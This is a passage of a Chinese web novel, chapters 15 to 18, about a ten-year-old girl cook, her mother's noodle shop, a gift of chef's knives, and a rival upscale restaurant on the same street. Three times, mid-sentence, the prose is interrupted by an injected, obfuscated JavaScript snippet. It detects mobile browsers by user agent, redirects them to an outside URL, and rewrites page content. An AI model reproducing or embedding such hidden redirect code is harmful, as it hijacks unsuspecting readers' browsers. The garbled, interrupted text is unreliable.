她把计划书压在台灯下,又把妈妈掉下来的那滴泪轻轻擦掉。抱紧木匣,心里只剩一个念头—— 这世上的苦命人很多,她帮不完,但至少这一刻,她护住了妈妈,也护住了这一方小小的灶台。 把这锅汤熬稳,把这碗面做暖。 让更多人在这座冷冰冰的城里,至少有一口热汤可依。 15.三年烟火,四时如歌 春去秋来,云锦里的梧桐叶黄了又绿,绿了又黄。 “如酌汤面”开业那天,红绸映红了半条街。三百平米的店面,明档厨房里蒸汽腾腾。宋听雅站在崭新的不锈钢灶台后,看着第一锅高汤在紫砂大锅里翻滚,乳白色的汤汁漫出浓郁的骨香。她恍惚了一瞬,随即便被李芬那声洪亮的“老板娘,加汤!”喊回了魂。 日子就这样在烟火气里扎下了根。 三年里,菜单换了七次时令,墙上的“今日售罄”牌子换坏了两块。 生意比预想的还要好。老客们寻着味儿追来,新客们被口碑引来。附近的白领把这儿当成了“续命食堂”,甚至连一些挑剔的老饕,也愿意为了那一碗看似普通却滋味无穷的“暖胃面”,在门口排上半小时长队。 十岁的宋如淼每天放学先写作业,写到一半会被楼下的汤香拽一下鼻尖;她趴在二楼窗边算完最后一道题,再拿着笔记本跑去明档前,像例行巡查一样试一口汤。 在学校,她是老师眼里的“别人家的孩子”。数学课上,心算速度快得惊人——那是前世在天宫膳房,为了精准配比龙肝凤髓练出来的本能;语文作文里,她写的永远是食物与爱。老师批语:“文字有远超年龄的通透与温情。” 而谢晚酌依旧是那个清冷矜贵的学神。只是现在的他,书包侧袋里永远装着一瓶她爱喝的温热桂花蜜茶。放学后,两人习惯在店里二楼那个朝南的小包间写作业。 窗外,四季流转。春日飞花,冬日落雪。 她咬着笔杆解题时,他会顺手将窗户关小半扇;他专注看书时,她会悄悄把刚出炉、甜度减半的栗子糕推到他手边。 她把栗子糕推过去时,他没抬头,只把那瓶桂花蜜茶往她手边挪了半寸。 而在周末,她是方总厨眼里的“妖孽”。 谢夫人安排的研学厨房里,国宴出身的方总厨从一开始的漫不经心,到后来恨不得把一身绝学倾囊相授,只用了一个月。 那天,宋如淼仅凭一眼一闻,就从十几条外表无差的海参里,挑出了发制火候最完美的两条。方总厨当时愣了半天,最后只叹了一句:“祖师爷赏饭吃,这丫头的五感,是通了灵的。” 她像一块干燥的海绵,疯狂吸收着这个世界的烹饪技法。她把学来的“理”,悄无声息地化入自家的家常菜里。 一道红烧排骨,她改了炒糖色的火候,加了一钱陈皮,淋了三滴十年花雕。客人们吃不出门道,只觉得:“这儿的肉,吃进胃里就是舒坦,连心情都变好了。” 随着技艺精进,【极寒渊境】的进度条也在稳步爬升。 12.3%……18%……25%…… 直到生日的一周前,云城遭遇了一场罕见的秋季暴雨,进度条似乎也到了一个微妙的瓶颈。 雨像瓢泼一样砸在云锦里的青石板路上,狂风把路边的梧桐树吹得东倒西歪。因为天气恶劣,“如酌汤面”难得在晚上七点就送走了最后一波客人,提前挂了打烊牌子。 店里只剩下一盏暖黄的吊灯。宋听雅在二楼盘账,李芬阿姨已经顶着雨披回家了。 一楼的明档厨房里,十岁的宋如淼正对着案板发愁。 案板上放着一块上好的牛腱子肉,纹理清晰,肉质紧实。这是方总厨特意让人送来的,让她练习“灯影牛肉”的切片技法。 “要薄如蝉翼,透光可见纹理,且肉片不能散。”这是方总厨的要求。 宋如淼深吸一口气,握紧了手里那把用了三年的不锈钢菜刀。 “咄。” 第一刀下去,厚了。 “咄。” 第二刀,薄是薄了,但边缘起了毛刺,肉的纤维被钝刀硬生生挤压断裂,失去了那种灵动的韧性。 宋如淼眉头紧锁,手腕因为长时间发力而微微颤抖。她不甘心地再次下刀,可那把在普通人手里尚算锋利的菜刀,在此时就像一根烧火棍,迟钝、笨重,根本跟不上她脑海里那个精准的“理”。 那种明明知道该怎么做,手里的工具却跟不上的无力感,让她有些烦躁。 “呲——” 刀刃在一块筋膜上打滑,猛地偏了一下。 宋如淼吓了一跳,本能地缩手,刀锋擦着指甲盖划过。虽然没见血,但指尖传来的钝痛还是让她倒吸一口凉气,手里的刀“哐当”一声掉在案板上。 “怎么了?” 一道少年的声音立刻从楼梯口传来,带着明显的急促。 一直安静坐在角落看书等雨停的谢晚酌,几乎是瞬间就放下了手里的英文原版书,大步走进了明档区。 “没、没事。”宋如淼下意识把手背到身后,“就是刀滑了一下。” 谢晚酌没说话,那双已经初具威严的瑞凤眼微微眯起,不容分说地拉过她的手。仔细检查了一遍,确信指甲盖只是蹭白了一块,没有破皮流血后,他紧绷的肩膀才松弛下来。 但他没有放开她的手,而是转头看向案板上那块被切得参差不齐的牛肉,以及那把掉在一旁的菜刀。 他伸出修长的手指,在刀刃上轻轻摸了一下。 “刀钝了?”他问。 “也不算钝,平时切菜够用了。”宋如淼有些懊恼地嘟囔,像个考砸了的小学生,“是我想做的太精细了。这刀钢口软,磨得再快,切几片硬肉就卷刃。而且太厚,进去的时候阻力大,肉就散了。” 她叹了口气,看着自己的手掌:“方爷爷说,厨师到了这一步,就像剑客。心里有招,手里没剑,也是白搭。我现在……大概就是那个拿着木棍想练绝世剑法的人吧。” 她明明是在自嘲,谢晚酌却听得心里一紧。 他看着眼前的小姑娘。才十岁,手掌心里已经有了一层薄薄的茧,那是常年握刀留下的勋章。她总是笑嘻嘻地给别人做暖胃的汤,却很少有人注意到,她在后厨为了那一口完美的味道,要付出多少枯燥的练习。 “既然是剑客,就该配把好剑。”谢晚酌低声说道,声音被窗外的雨声衬得格外清晰。 “好剑很贵的。”宋如淼重新拿起那把沉重的菜刀,用抹布擦了擦,“而且好的厨刀很难保养,我现在力气还小,这把凑合用吧。等我攒够了钱,一定要买一把那种日本匠人打的‘青纸钢’!” 说者无心,听者有意。 谢晚酌的目光在那把普通的菜刀上停留了两秒,默默记下了“青纸钢”这三个字。 “先别练了。”他拿过她手里的刀,挂回刀架,“雨这么大,饿不饿?我想吃面。” 话题转得太快,宋如淼愣了一下,随即眼睛一亮:“饿!我也饿了!那我给你做碗新的?刚才切坏的牛肉正好做浇头!” “嗯,要辣一点的。” “好嘞!” 只要一回到灶台前,刚才的挫败感就烟消云散。宋如淼熟练地起锅烧油,虽然刀工受限做不成灯影牛肉,但做一碗香喷喷的红烧牛肉面,这把刀还是绰绰有余的。 十分钟后,两碗热气腾腾的面端上了桌。 窗外风雨如晦,店内灯火可亲。 谢晚酌挑起一筷子面条,看着对面吃得鼻尖冒汗的小姑娘。她吃得香,腮帮子鼓鼓的,像只囤食的小松鼠。刚才那点因为刀具不趁手而产生的阴霾,已经被这碗热汤彻底治愈了。 “淼淼。”他忽然叫她。 “唔?”宋如淼抬头,嘴角还沾着一点汤汁。 谢晚酌抽出一张纸巾,自然地递给她,语气里带着几分少年特有的笃定:“以后遇到了问题,或者是缺了什么‘兵器’,要跟我说。” “啊?” “我是说……”谢晚酌顿了顿,移开目光,看向碗里浮沉的牛肉粒,“投资人有义务保障主厨的硬件设施。这属于……合理的商业投入。” 宋如淼眨眨眼,看着他微红的耳根,忽然扑哧一声笑了。 “知道啦,投资人哥哥!” 她把碗里的荷包蛋夹给谢晚酌,笑眯眯地说:“那为了回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144007|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报投资人,这个蛋归你!吃了我的蛋,就要保佑我早日练成绝世神功哦!” 谢晚酌看着碗里多出来的荷包蛋,唇角微扬。 那天晚上,谢晚酌回家后,看了一眼法国那边的时间,拨通了远洋电话。 “哥,帮我找一套刀。要最好的青纸二号钢,手工锻打。对,全套……不是我用。” 电话那头似乎调侃了一句什么,谢晚酌顿了顿,声音低了几分:“……是我想送给淼淼的生日礼物。她切菜切到手了。” 那场夜雨,并没有浇灭少年的心事,反而让某些种子,在潮湿的泥土里,发了芽。 到了十岁生日这天,进度条逼近了30%。 这一天,秋高气爽。 “如酌汤面”提前挂了“东主有喜”的牌子。店门紧闭,里面却暖意融融。 没有豪华宴席,只有宋听雅亲手做的一桌长寿面和家常菜。桌子中央,摆着一个不算精致的奶油蛋糕,上面用果酱歪歪扭扭画了个小锅铲——那是李芬阿姨的手笔。 “淼淼,快许愿!”宋听雅笑着催促,眼角的细纹里都藏着幸福。 宋如淼闭上眼,双手合十。 第一个愿望:妈妈永远健康,再也不受穷苦。第二个愿望:这人间烟火,能暖更多人的胃。第三个…… 她悄悄把眼睛睁开一条缝。对面的谢晚酌正静静看着她。少年身量抽条,肩膀宽了,眉眼间的稚气褪去,原本苍白的肤色如今有了健康的血色。那双曾经像荒原一样的眼睛里,此刻映着烛火,竟有了春水初融的暖意。 她在心里默念:希望晚酌哥哥的“渊境”快点满吧。 蜡烛吹灭,欢呼声起。 谢晚酌等大家闹完,才走到她面前。他递过一个深胡桃色的长木匣。 木匣沉手,边角包着哑光铜饰,带着淡淡的檀木冷香。 “这是……”宋如淼有些惊讶。 “打开看看。”谢晚酌的声音还在变声期,带着几分少年的低哑磁性。 她拨开云纹锁扣,掀开盖子。 深蓝色的丝绒上,静静躺着一套刀具。一共五把,主厨、三德、蔬果、削皮,还有一根磨刀棒。刀身并非那种刺目的亮银色,而是泛着幽暗的青光,刃口处有着如水波般流动的锻打纹路。 宋如淼是识货的,她指尖悬在刀背上,甚至能感觉到那种凛冽的寒气。 “这是‘青纸二号’钢,手工锻打的。”谢晚酌语气平淡,仿佛在说一件寻常事,“我记得你上次提过,现在用的刀切韧性食材时手感发涩。我拜托我哥从日本一位老匠人那里求来的,这一套,刚好适合你现在的手型,也能再用个三五年。” 宋如淼猛地抬头。她只是随口抱怨过一次,连妈妈都没在意,他竟然记住了?而且……“青纸钢”极难保养,却极其锋利,是真正的主厨才会用的“兵刃”。 “这太贵重了……”她下意识想缩手。 “厨师的刀,是手的延伸。”谢晚酌看着她,眼神专注而认真,“你有那个天赋,也够努力,值得。” 宋如淼看着他。少年站在暖黄的灯光下,神色坦荡,那份心意比这套名刀更加沉甸甸。 心口那簇属于功德的小火苗,像是被泼了一勺热油,呼啦一下燃得更高了。 她不再推辞,郑重地合上木匣,紧紧抱在怀里,仰起头,笑得眉眼弯弯,琥珀色的瞳仁里像是藏进了漫天星光。 “谢谢晚酌哥哥!我会好好用它们的!”她大声保证,“我会用这把刀,做出全世界最好吃的菜!” 谢晚酌看着她灿烂的笑脸,一向清冷的唇角,极轻地勾了一下。 窗外,秋阳正好。 曾经那个试图用旧日阴霾困住她们的傅家,早已被谢家和这三年的安稳日子挡在门外。宋听雅不再提,宋如淼也不再问。 宋如淼摸了摸怀里的刀匣,又看了一眼忙碌却快乐的妈妈,和身边安静守护的少年。 她忽然觉得,人间真好。 16.对岸灯火 “如酌汤面”在云锦里稳稳扎根后的第三年春天,街对面开了一家“傅味轩”。 招牌烫金,门面比“如酌”气派三倍,主打“新派融合菜”。据说请的是从海外归来的米其林星级厨师团队。开业那天,鞭炮足足放了十分钟,巨型花篮从店门口一路排到街角,红毯簇新,舞狮队锣鼓喧天。 最扎眼的是门口立着的宣传易拉宝——主厨简介旁,赫然印着“特邀顾问:唐安意女士”。 照片上的唐安意穿着得体的香槟色套装,笑容温婉,下方一行小字:“云城电视台美食频道总监,傅氏餐饮集团顾问,资深美食评论家。” 周店长把宣传单放在宋听雅面前时,脸色很不好看:“宋总,这是冲着我们来的。我托人打听过了,‘傅味轩’这个新品牌,就是傅太太……唐安意一手推动的。选址在这儿,顾问挂她的名,摆明了是要打擂台。” 宋听雅拿起那张设计精美、用纸考究的单子。她的目光掠过那些精致到像广告片的菜品图,最后停在唐安意的笑上。 “开门做生意,各凭本事。”她把单子放平,语气比当年更沉得住,“只是没想到,傅太太这么看得起我们这家小面馆。” “他们主打‘新派融合菜’和‘高端宴请’,人均定价是我们的五倍不止。”周店长指着菜单,眉头紧锁,“这摆明了是抢高端客源。他们这么搞,恐怕醉翁之意不在酒。” 宋听雅明白。唐安意要的不是“傅味轩”本身多赚钱,而是要压住“如酌”上升的势头,更要让她们母女清楚——你们就算攀上谢家,开起了像样的店,在我眼里,依然是不入流的街边摊,我随手就能用更高阶的方式,把你们比下去。 最初的半个月,“如酌”的生意确实受到了影响。 一些讲究社交场面的客人,改去“傅味轩”订包厢;两家原本谈好的小型公司团餐,也委婉地换了地点。 后厨的气氛跟着闷了几分,李芬切菜的力道都重,嘟囔着:“不就是盘子摆得花哨点?吃进肚子里还不是一样。” 宋如淼放学回来,听妈妈和周姨说完情况,没急着去后厨,反而拉着宋听雅去了二楼临街的小包间。 窗外隔着一条马路,“傅味轩”门厅灯火通明。制服笔挺的服务生候在门侧,客人出入皆衣着光鲜。 “妈妈,”宋如淼看着对面,声音很轻,“她不是来跟我们抢那几桌客人的。” 宋听雅一怔。 宋如淼转过头,琥珀色的眼睛在暮色中显得格外清亮:“她不是来抢桌子的——她是来抢面子的。她故意装的比我们好,感觉让人自己来分三六九等。我们,在她划的线外面。” 宋听雅沉默了几秒。 “那我们……” “我们不进她的圈。”宋如淼嘴角弯起一个极小的弧度,带着点属于厨神的傲气,“我们有自己的路。” 她没把话说成口号,只抬手把窗户推开一条缝。楼下汤锅咕嘟的热气顺着楼梯往上涌,暖、实、带着骨汤的香。 “地基不能晃。”她说,“越有人想看我们笑话,我们越要把自己的事做得更稳。” 紧接着,宋如淼推出了一个直击人心的“深夜食堂”计划。 每天晚上九点半,当对面的“傅味轩”结束正餐,开始推杯换盏时,“如酌”的灯光会调暗一些,背景音乐换成更舒缓的纯音乐。 菜单上,增加了几款特供宵夜的“暖心单品”。与此同时,宋如淼还增加了一项特殊服务——“晚安茶”。利用药理知识,她调配了一款“安神饮”。用酸枣仁、百合、茯苓等食材熬煮,不收钱,九点半后进店的客人都能无限畅饮。 “对面给的是酒,让人兴奋,让人应酬;我们给的是茶,让人安神,让人回家睡个好觉。”宋如淼这样解释。 很快,深夜食堂的口碑在加班族、代驾司机甚至是刚在对面应酬完一身疲惫的老板们中间传开了。 “如酌”的晚上九点半到十一点,反而成了另一个客流小高峰。有人在手里捧着热腾腾的汤碗,也有人就着那杯回甘的安神饮,卸下了一天的紧绷。 对面的“傅味轩”依然衣香鬓影,但云锦里的老住户、常驻的上班族,心里那杆秤却慢慢偏了。 王老师带着教研组的同事来“如酌”聚餐,看着对面,摇了摇头:“去试过一次,味道还行,但性价比太差了。现在这大环境,还是如酌最合适。” 另一位邻居阿姨说得更直白:“对面哪是给咱老百姓吃的呐,那是给眼睛和面子吃的,咱这儿是给心和肚子吃饭的。不一样。” 话传得比汤香还快。 一天下午,唐安意坐在“傅味轩”三楼的落地窗前。 她端着杯子,视线扫过对面朴实无华的招牌,掠过明档里忙碌的身影,最后停在二楼窗后的宋如淼身上。 宋如淼正好在写作业,似有所感地抬起头。视线穿过一条马路的距离,撞上了那道审视的目光。 宋如淼没有躲闪。她放下笔,站起身,走到窗边,静静回望。 十岁的女孩,眼神干净得像一口深井,映着高处的浮华,却波澜不惊。 对视不过五秒,唐安意率先移开视线,微微抬高下巴。转身时,手机亮了一下,屏幕上跳出一个备注——“节目组”。 她指尖停在屏幕上,没回。 宋如淼重新坐回桌前,继续写她的数学题。她知道,这场无声的交锋,远未结束。 但她也不怕。既然要比,那就试试看。 写完最后一道题,宋如淼起身下楼,刚到楼梯口,就看见谢晚酌站在店门口。 他没穿校服外套,只穿了件熨帖的白衬衫,袖子挽到小臂,额角甚至带了一层薄汗。那是平日里绝不会出现在这位谢家少爷身上的狼狈。 “晚酌哥哥?”宋如淼快步走下楼梯,“你怎么来了?今天不是周五吗?” 谢晚酌转过头,紧绷的下颌线在看到她的瞬间松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148679|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弛下来:“课停了。” 其实是他在去琴房的路上听说了唐安意来了,直接让司机调头绕路过来的。 他走进来,熟练地把书包放在老位置,目光扫视一圈,落在宋如淼脸上:“对面的,没欺负你们吧?” “没有。”宋如淼摇摇头,“唐安意不就是想告诉我们什么叫不入流嘛。” 谢晚酌走到窗边,看了一眼对面灯火辉煌的三层小楼,又看了看“如酌”里热气腾腾的景象。 “蠢。”他薄唇轻启,吐出一个字。 宋如淼一愣,随即忍不住想笑。 谢晚酌转过身,目光清冽:“餐饮的本质是满足需求,不是构建壁垒。守好咱们自己的定位,不用管她们。” “嗯!”宋如淼用力点头,“我也是这么想的!我们就比谁家的饭让人吃了更舒服。” 谢晚酌看着她亮晶晶的眼睛,唇角几不可察地弯了一下。他从书包里拿出一个牛皮纸文件袋,递给宋如淼。 “这是什么?” “傅氏餐饮集团近半年的财务数据,和那个主厨的背景汇总。”谢晚酌语气平淡,“我让我哥那边的助理整理了一份。他们扩张太快,现金流有点紧,那个主厨擅长概念,但品控极其不稳定。” 宋如淼接过文件袋,有些惊讶:“你特意找晚弛哥哥要的?” 谢晚酌移开视线,看向窗外渐浓的夜色,耳根微红:“……闲聊顺便提了一句。知己知彼,总没坏处。” 宋如淼抱着文件袋,心里暖融融的。她忽然想起什么,眼睛一亮:“晚酌哥哥,你吃饭了吗?我新调了一款养胃的山药薏米粥底,帮我试个菜?” 谢晚酌眸光微动:“好。” 两人在后厨旁边的小桌子坐下。宋如淼亲自盛了一碗粥,粥体莹白粘稠,散发着山药的甘气。 谢晚酌拿起白瓷勺,吹凉,送入口中。温热的粥滑过喉咙,确实只有满口的温和妥帖。 他慢慢吃着,一碗粥很快见了底。 宋如淼开心得眼睛发亮,还没来得及说话,脑海里就响起了那声熟悉的、轻细的嗡鸣。 【渊境积蓄进度:30.1% → 30.3%】 只有0.2%的挪动。 虽然慢,但宋如淼心里反而更踏实了。就像灶上的老汤,火候到了,骨里的髓自然会一点点融进水里,急不得。 她指尖蹭过文件袋略显粗糙的边缘,又瞄了一眼对面那个正一勺勺认真喝粥的少年。谢晚酌捏着勺子的手指骨节分明,在昏黄的灯光下透着种如玉的质感。他似乎感受到了她的视线,抬眸看过来,眼底像盛着一汪清泉。 窗外,对岸灯火辉煌;而这小小的后厨里,只有山药粥的清气,和谢晚酌身上那股好闻的、干干净净的橘香。 宋如淼转头看向冒着白气的汤锅,琥珀色的瞳仁被映得暖烘烘的。日子还长着呢,她有的是耐心,守着这锅汤,慢腾腾地过出属于她们母女的好日子。 17.借力打力 如酌的深夜食堂才刚出圈,唐安意就把《寻味云城》开进了云锦里。 云城电视台王牌美食栏目《寻味云城》的转播车,大张旗鼓地停在了云锦里街口。预告片早就发了,镜头里的“傅味轩”流光溢彩,唐安意作为特邀顾问,对着镜头优雅谈论着“分子料理”与“国际视野”。 但在镜头之外,却藏着另一层算计。 李芬阿姨气得手都在抖,刚擦了一半的案板又被她按出一个重重的指印:“太欺负人了!我刚听对面那个场务说,唐安意特意跟导演打了招呼,说是为了体现云锦里的‘多元生态’,要顺便拍拍咱们家!” “是啊,拍也不是,不拍也不是,这分明就是在拉一个踩一个。”周店长皱眉。 李芬呸了一声,把抹布重重拍在案板上,发出啪的一声脆响:“这帮人,心眼子比莲藕洞还多!” 宋听雅正在对账的手一顿,脸色微白。这是唐安意惯用的手段:捧一踩一,杀人诛心。她要让所有观众看到,一个是云端之上的艺术品,一个是充满了油烟味的街边小店。 “妈。” 一直坐在窗边看书的宋如淼忽然合上书页,声音脆生生的,透着股冷静,“让他们拍。” 宋听雅看向女儿:“淼淼?” 宋如淼站起身,理了理身上那件洗得干干净净的小围裙,嘴角勾起一抹极淡的笑意:“有人免费给咱们送流量,干嘛不要?她想拿我们当对照组,那也得看这组对照,最后是谁衬托了谁。” 下午三点,一个叫陆明的编导来了。 他二十出头,脖子上挂着工作证,手里拎着便携摄像机,背着双肩包,怀里还揣着个手持云台。 陆明表情有些拘谨,进门先快速扫了一圈店内环境,目光在明档厨房和墙上那些食客留下的便签照片墙上停留了片刻。 “欢迎光临,吃点什么?”宋听雅稳住心神,上前招呼。 “老板娘是吧?”陆明推了推眼镜,“您好,我是《寻味云城》栏目组的实习编导,我叫陆明。我们组今天在对面的‘傅味轩’拍摄。” 店内空气瞬间凝滞。李芬从后厨探出头,眼神不善。 “明白了。”宋听雅眉头紧皱。 “别误会!是我们主编让我来的。他说,既然来了云锦里,只拍一家店不够全面,让我过来看看……‘如酌汤面’有没有什么值得记录的故事点。” 宋如淼从后厨走了出来。她个子不高,还没陆明的肩膀高,但此时站在那儿,手里拎着一把泛着寒光的青纸钢厨刀,气场竟稳得让人心头一跳。 “陆编导,您没吃过我们家的面吧?” 陆明低头看着这个十岁的小姑娘:“没。” “成。”宋如淼没生气,反而指了指明档厨房最显眼的位置,“那我给您下碗面,您镜头跟紧了。我们这儿的‘老味道’,可能跟您想的不太一样。” 陆明举起摄像机,准备开拍。 宋如淼站在案板前,从冰鲜盒里取出一块刚送来的冬笋。那把有些沉重的厨刀在她手里像是一根轻盈的羽毛。 没有任何多余的准备动作。 哆哆哆哆哆—— 密集的切菜声骤然响起,不是杂乱的噪音,而是一种如同暴雨打芭蕉般的、极具韵律感的脆响。 陆明下意识地把镜头怼了上去。 画面里,那双只有十岁孩子大小的手,稳得可怕。刀锋起落间,冬笋化作了薄如蝉翼的片,每一片都保持着惊人的一致,透光、完整,连纤维的纹路都清晰可见。 这哪里是“粗糙的烟火气”?这分明是比对面那些米其林大厨还要精准的炫技! 切完最后一片,宋如淼手腕一抖,刀背轻拍案板,所有的笋片整整齐齐地滑入瓷盘,像一把打开的折扇。 陆明看得呆住了,手一抖,云台差点晃出重影。 “怎么样?”宋如淼抬头,似笑非笑地看了镜头一眼。 陆明喉结滚动了一下。职业本能让他立刻调整了站位:“那个……小师傅,你能不能再切个别的?刚才那个光线不太好,咱们保一条!” “不切了。”宋如淼放下刀,把那盘笋片推入滚沸的鸡汤锅里,“食材不能浪费。给您做一碗。” “啊?我可能吃不下……”陆明下意识拒绝。他在“傅味轩”吃了半天的分子料理樱桃鹅肝和低温慢煮三文鱼,虽然高级,但那东西冷冰冰、腻乎乎的,胃里其实一直顶得慌。 “这碗不收钱。”宋如淼没理会他的拒绝,转身下面,“专治油腻。” 五分钟后。 一碗热气腾腾的“春笋鸡汤面”摆在了陆明面前。 没有花里胡哨的摆盘,就是清亮的汤、莹白的面、翠绿的葱花,还有那几片此时已经吸饱了汤汁、变得如玉般温润的笋片。 香。 那是老鸡、猪骨和火腿慢熬了六个小时以上的味道,纯粹得仿佛能钻进毛孔。 陆明原本只是想礼貌性地尝一口。 可第一口汤入喉,他整个人就像是被按下了暂停键。 热流顺着食道滚入胃袋,瞬间化开了那一团因为吃多了生冷肥腻而淤积的寒气。紧接着,笋片的清甜、面条的劲道在舌尖炸开。 他忘了还在拍摄,忘了主编的嘱咐,甚至忘了自己是谁,埋头大口吸溜起来。 “呼——” 连汤带面吃了个精光,陆明长出一口气,额头上沁出一层细密的汗珠。那种通体舒泰的感觉,让他甚至想当场瘫在椅子上。 “好吃吗?”宋如淼的声音在旁边响起。 陆明回过神,尴尬地擦了擦嘴,看了一眼云台监视器里刚才录下的画面,原本那些为了“拉踩”准备的阴暗构图,在这一刻竟然显得那么荒谬。 “好吃。”他实话实说,“比对面的……实在。” “对面吃的是面子,我们这儿吃的是里子。”宋如淼一边擦拭着宝贝刀具,一边淡淡地开口,“陆编导,您是做节目的。您觉得,观众是更喜欢看高高在上的摆拍,还是更喜欢看一碗能让他们半夜流口水、想回家吃饭的热汤面?” 陆明心里“咯噔”一下。 主编让他来拍“反差”,是为了贬低“如酌”。 但如果……他把这个反差换个角度剪辑呢?一边是奢华却冰冷的分子料理,一边是简陋却温暖的极致刀工与高汤。 这一刀切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152821|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去,这碗面端出来,究竟谁才是那个“笑话”?这才是真正的爆点啊! “小师傅,”陆明重新举起摄像机,眼神无比郑重,“我想重新拍一组素材。不拍环境了,就拍你。拍你的刀,拍你的汤。咱们好好讲讲这碗面的故事。” 宋听雅在柜台后看着这一幕,提着的心终于稳稳落回了肚子里。她看着女儿那不卑不亢的背影,眼眶微热。 这哪里是个十岁的孩子?这分明就是个定海神针。 …… 直到晚上七点,拍摄才结束。陆明心满意足地走了,临走前还加了宋听雅的微信,暗示这期节目播出后,“如酌”可能会爆。 店门外,谢晚酌不知什么时候来了,正靠在门框上,手里拎着两瓶温热的牛奶。 “看完了?”宋如淼走过去,接过牛奶,笑眯眯地问。 谢晚酌看着她,目光里带着点平日里少见的笑意:“嗯,精彩。” 他其实早就来了,亲眼看着那个眼高于顶的编导是如何被这碗面“招安”的。 “唐安意大概是想找个‘寒门’来衬托她的‘豪门’,”谢晚酌淡淡道,“结果却亲手把云城最好的美食广告免费送到了你手里。论起花别人的钱办自己的事,还得是我们淼淼。” “谁让她先把脸凑过来的。”宋如淼插上吸管喝了一口牛奶,满足地眯起眼。 就在这时,脑海深处传来一声清脆的提示音,比以往任何一次都要响亮。 【渊境积蓄进度:30.3% → 31.0%】 直接涨了0.7%! 宋如淼惊喜地睁大眼。看来这次“反杀”,不仅保住了店里的名声,更是一种强有力的能量回馈。 “怎么了?”谢晚酌注意到她的表情变化。 “没事,就是觉得……”宋如淼看着对面“傅味轩”那块巨大而冰冷的招牌,笑得像只偷腥的小狐狸,“这牛奶真甜。晚酌哥哥,你说他们下次还会给我们送这种‘助攻’吗?” 谢晚酌伸手,极其自然地帮她把散落在额前的一缕碎发别到耳后。 “会。”少年清冷的声音在夜色中格外笃定,“只要他们还这么蠢,你就永远能赢。”他指尖的温度让宋如淼耳根一红。下意识缩了缩脖子,嘴硬地嘟囔了一句:“我也没想赢那么快,是她自己送上门的。” 谢晚酌低笑一声,转过身,并肩和她立在店门口。 街道对面的“傅味轩”那昂贵的烫金招牌在深夜里透着股冷冰冰的金属光泽,而那一长排气派的花篮,经过一个多月的风吹日晒,早已露出了凋零的颓态。 反观他们身后,李芬和周店长正笑着争论明天要进多少斤鲜笋,那口老砂锅里依然咕嘟咕嘟地冒着暖香。 “走吧,送你回家。”谢晚酌很自然地接过她手里的空奶瓶,“明天还要去研学厨房,方总厨要是知道你今天用这把青纸钢片了笋,估计又要念叨你暴殄天物。” “那叫物尽其用!”宋如淼跳下台阶,马尾一甩一甩的,“好刀,就是要见人间烟火的。” 两人的影子被路灯拉得细长,交叠在一起。对岸灯火摇曳,却始终照不进这长街深处,那一抹最踏实的暖意里。 18.灵厨初醒 《寻味云城之云锦里》播出的那晚,云城电视台的收视率创了季度新高。 原本作为重头戏的“傅味轩”,在成片里反倒显得过于精致、过于用力——一切都对,却很难让人起馋。反倒是陆明那一组的拍摄,意外成了整期节目的点睛之笔。 没有滤镜,没有慢动作。只有一双十岁孩子的手,握着那把略显沉重的青纸钢刀。冬笋在刀下化作透光的薄片,入锅时激起清脆的声响。那一碗清亮的春笋鸡汤面端上来时,隔着屏幕,观众仿佛都能闻到那股扑面而来的鲜甜暖香。 陆明的画外音很朴实:“有些味道不需要解释。吃下去,胃会告诉你答案。” 节目播完,“如酌汤面”的搜索量一夜之间涨了三百倍。 第二天,排队的队伍从店门口一直蜿蜒到了街对面,直接挡住了“傅味轩”那扇气派的旋转门。李芬阿姨切菜切得手腕发酸,却笑得合不拢嘴:“宋姐,咱们这是要发财了啊!” 宋听雅却不敢松劲。客人越多,她越要把每碗面的分量、温度、咸淡掐准,绝不能砸了招牌。 日子在汤锅的咕嘟声中一天天过去。宋如淼照常上学、写作业、周末去研学厨房。只是每天放学后,她会多留一小时,站在明档前观察每一个食客吃完后的表情。 直到那个阴雨连绵的黄昏。 店里来了一对年轻夫妇,抱着个约莫四五岁的小女孩。女孩瘦得脱了相,脸色蜡黄,蔫头耷脑地趴在父亲肩头。 “老板娘,有……清淡点的吗?”年轻的母亲眼圈红红的,“孩子刚生完一场大病,胃口一直不好,去了好多医院都说是脾胃虚寒。我们在电视上看到你们,就想着带她来碰碰运气……” 宋听雅有些为难。店里的高汤醇厚,对这样虚弱的脾胃来说,或许还是太“重”了。 “妈妈,我来。” 宋如淼放下书包,系上围裙走了过来。她看着那个恹恹的小女孩,心里忽然涌起一股难以言喻的酸涩感。 想要让她吃下去。想要让她那张苍白的小脸重新红润起来。 就在这一瞬,脑海深处传来一声清脆的嗡鸣。 【功德累计:400】 